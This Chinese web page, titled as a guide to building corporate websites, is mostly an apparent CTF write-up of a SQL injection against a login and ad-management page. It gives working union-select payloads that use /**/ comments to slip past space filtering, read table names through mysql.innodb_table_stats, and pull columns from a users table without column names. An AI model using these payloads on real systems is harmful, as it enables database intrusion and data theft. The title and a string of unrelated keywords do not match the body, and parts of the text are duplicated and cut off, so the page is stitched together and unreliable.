企业官网建设流程全解析

视频网站怎么赚钱,作业部落 WordPress,厦门建设工程信息造价网站,wordpress主题快速一个登录界面 这里测试了一下并没有发现sql注入点注册了一个账号最终在广告信息管理中发现sql注入点开始注入经过一些简单的测试可知空格 or 等被过滤了#xff0c;所以这里用group来测列数这里的闭合方式用 引号 不然会报错可以看到列23报错现在查回显位-1union/**/select/**…一个登录界面 这里测试了一下并没有发现sql注入点注册了一个账号最终在广告信息管理中发现sql注入点开始注入经过一些简单的测试可知空格 or 等被过滤了所以这里用group来测列数这里的闭合方式用 引号 不然会报错可以看到列23报错现在查回显位-1union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,223回显位23曝库-1/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,223得到web1库然后就是报表但是这里information_schema.tables被过滤这里有两种绕过姿势mysql.innodb_table_stats sys.schema_auto_increment_columns1/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_nameweb1接着曝列但是总是被ban看了其他师傅的wp知道 要用无列名注入pyload-1/**/union/**/select/**/1,(select/**/group_concat(2)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2211把2改成3即可得到flag